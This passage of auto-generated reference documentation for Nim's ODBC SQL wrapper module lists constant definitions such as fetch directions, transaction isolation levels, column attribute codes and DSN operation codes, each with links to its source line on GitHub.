[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L506) ``` SQL_NULLABLE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L507) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L507) ``` SQL_NULLABLE_UNKNOWN = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L509) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L509) ``` SQL_CLOSE = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L510) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L510) ``` SQL_DROP = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L511) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L511) ``` SQL_UNBIND = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L512) ``` SQL_RESET_PARAMS = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L513) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L513) ``` SQL_FETCH_NEXT = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L515) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L515) ``` SQL_FETCH_FIRST = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L516) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L516) ``` SQL_FETCH_FIRST_USER = 31 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L517) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L517) ``` SQL_FETCH_FIRST_SYSTEM = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L518) ``` SQL_FETCH_LAST = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L519) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L519) ``` SQL_FETCH_PRIOR = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L520) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L520) ``` SQL_FETCH_ABSOLUTE = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L521) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L521) ``` SQL_FETCH_RELATIVE = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L522) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L522) ``` SQL_NULL_HENV = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L523) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L523) ``` SQL_NULL_HDBC = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L524) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L524) ``` SQL_NULL_HSTMT = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L525) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L525) ``` SQL_NULL_HDESC = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L526) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L526) ``` SQL_NULL_HANDLE = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L527) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L527) ``` SQL_SCOPE_CURROW = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L528) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L528) ``` SQL_SCOPE_TRANSACTION = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L529) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L529) ``` SQL_SCOPE_SESSION = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L530) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L530) ``` SQL_BEST_ROWID = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L531) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L531) ``` SQL_ROWVER = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L532) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L532) ``` SQL_ROW_IDENTIFIER = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L533) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L533) ``` SQL_INDEX_UNIQUE = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L534) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L534) ``` SQL_INDEX_ALL = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L535) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L535) ``` SQL_QUICK = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L536) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L536) ``` SQL_ENSURE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L537) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L537) ``` SQL_TABLE_STAT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L538) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L538) ``` SQL_INDEX_CLUSTERED = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L539) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L539) ``` SQL_INDEX_HASHED = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L540) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L540) ``` SQL_INDEX_OTHER = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L541) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L541) ``` SQL_SCROLL_CONCURRENCY = 43 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L542) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L542) ``` SQL_TXN_CAPABLE = 46 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L543) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L543) ``` SQL_TRANSACTION_CAPABLE = 46 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L544) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L544) ``` SQL_USER_NAME = 47 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L545) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L545) ``` SQL_TXN_ISOLATION_OPTION = 72 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L546) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L546) ``` SQL_TRANSACTION_ISOLATION_OPTION = 72 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L547) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L547) ``` SQL_OJ_CAPABILITIES = 115 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L548) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L548) ``` SQL_OUTER_JOIN_CAPABILITIES = 115 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L549) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L549) ``` SQL_XOPEN_CLI_YEAR = 10000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L550) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L550) ``` SQL_CURSOR_SENSITIVITY = 10001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L551) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L551) ``` SQL_DESCRIBE_PARAMETER = 10002 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L552) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L552) ``` SQL_CATALOG_NAME = 10003 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L553) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L553) ``` SQL_COLLATION_SEQ = 10004 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L554) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L554) ``` SQL_MAX_IDENTIFIER_LEN = 10005 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L555) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L555) ``` SQL_MAXIMUM_IDENTIFIER_LENGTH = 10005 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L556) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L556) ``` SQL_SCCO_READ_ONLY = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L557) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L557) ``` SQL_SCCO_LOCK = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L558) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L558) ``` SQL_SCCO_OPT_ROWVER = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L559) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L559) ``` SQL_SCCO_OPT_VALUES = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L560) ``` SQL_TC_NONE = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L561) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L561) ``` SQL_TC_DML = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L562) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L562) ``` SQL_TC_ALL = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L563) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L563) ``` SQL_TC_DDL_COMMIT = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L564) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L564) ``` SQL_TC_DDL_IGNORE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L565) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L565) ``` SQL_TXN_READ_UNCOMMITTED = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L566) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L566) ``` SQL_TRANSACTION_READ_UNCOMMITTED = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L567) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L567) ``` SQL_TXN_READ_COMMITTED = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L568) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L568) ``` SQL_TRANSACTION_READ_COMMITTED = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L569) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L569) ``` SQL_TXN_REPEATABLE_READ = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L570) ``` SQL_TRANSACTION_REPEATABLE_READ = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L571) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L571) ``` SQL_TXN_SERIALIZABLE = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L572) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L572) ``` SQL_TRANSACTION_SERIALIZABLE = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L573) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L573) ``` SQL_SS_ADDITIONS = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L574) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L574) ``` SQL_SS_DELETIONS = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L575) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L575) ``` SQL_SS_UPDATES = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L576) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L576) ``` SQL_COLUMN_COUNT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L577) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L577) ``` SQL_COLUMN_NAME = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L578) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L578) ``` SQL_COLUMN_TYPE = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L579) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L579) ``` SQL_COLUMN_LENGTH = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L580) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L580) ``` SQL_COLUMN_PRECISION = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L581) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L581) ``` SQL_COLUMN_SCALE = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L582) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L582) ``` SQL_COLUMN_DISPLAY_SIZE = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L583) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L583) ``` SQL_COLUMN_NULLABLE = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L584) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L584) ``` SQL_COLUMN_UNSIGNED = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L585) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L585) ``` SQL_COLUMN_MONEY = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L586) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L586) ``` SQL_COLUMN_UPDATABLE = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L587) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L587) ``` SQL_COLUMN_AUTO_INCREMENT = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L588) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L588) ``` SQL_COLUMN_CASE_SENSITIVE = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L589) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L589) ``` SQL_COLUMN_SEARCHABLE = 13 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L590) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L590) ``` SQL_COLUMN_TYPE_NAME = 14 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L591) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L591) ``` SQL_COLUMN_TABLE_NAME = 15 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L592) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L592) ``` SQL_COLUMN_OWNER_NAME = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L593) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L593) ``` SQL_COLUMN_QUALIFIER_NAME = 17 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L594) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L594) ``` SQL_COLUMN_LABEL = 18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L595) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L595) ``` SQL_COLATT_OPT_MAX = 18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L596) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L596) ``` SQL_COLUMN_DRIVER_START = 1000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L597) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L597) ``` SQL_DESC_ARRAY_SIZE = 20 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L598) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L598) ``` SQL_DESC_ARRAY_STATUS_PTR = 21 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L599) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L599) ``` SQL_DESC_AUTO_UNIQUE_VALUE = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L600) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L600) ``` SQL_DESC_BASE_COLUMN_NAME = 22 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L601) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L601) ``` SQL_DESC_BASE_TABLE_NAME = 23 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L602) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L602) ``` SQL_DESC_BIND_OFFSET_PTR = 24 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L603) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L603) ``` SQL_DESC_BIND_TYPE = 25 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L604) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L604) ``` SQL_DESC_CASE_SENSITIVE = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L605) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L605) ``` SQL_DESC_CATALOG_NAME = 17 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L606) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L606) ``` SQL_DESC_CONCISE_TYPE = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L607) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L607) ``` SQL_DESC_DATETIME_INTERVAL_PRECISION = 26 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L608) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L608) ``` SQL_DESC_DISPLAY_SIZE = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L609) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L609) ``` SQL_DESC_FIXED_PREC_SCALE = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L610) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L610) ``` SQL_DESC_LABEL = 18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L611) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L611) ``` SQL_DESC_LITERAL_PREFIX = 27 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L612) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L612) ``` SQL_DESC_LITERAL_SUFFIX = 28 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L613) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L613) ``` SQL_DESC_LOCAL_TYPE_NAME = 29 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L614) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L614) ``` SQL_DESC_MAXIMUM_SCALE = 30 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L615) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L615) ``` SQL_DESC_MINIMUM_SCALE = 31 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L616) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L616) ``` SQL_DESC_NUM_PREC_RADIX = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L617) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L617) ``` SQL_DESC_PARAMETER_TYPE = 33 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L618) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L618) ``` SQL_DESC_ROWS_PROCESSED_PTR = 34 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L619) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L619) ``` SQL_DESC_SCHEMA_NAME = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L620) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L620) ``` SQL_DESC_SEARCHABLE = 13 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L621) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L621) ``` SQL_DESC_TYPE_NAME = 14 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L622) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L622) ``` SQL_DESC_TABLE_NAME = 15 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L623) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L623) ``` SQL_DESC_UNSIGNED = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L624) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L624) ``` SQL_DESC_UPDATABLE = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L625) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L625) ``` SQL_COMMIT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L626) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L626) ``` SQL_ROLLBACK = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L627) ``` SQL_ATTR_ROW_ARRAY_SIZE = 27 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L628) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L628) ``` ODBC_ADD_DSN = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L629) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L629) ``` ODBC_CONFIG_DSN = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L630) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L630) ``` ODBC_REMOVE_DSN = 3 ``` 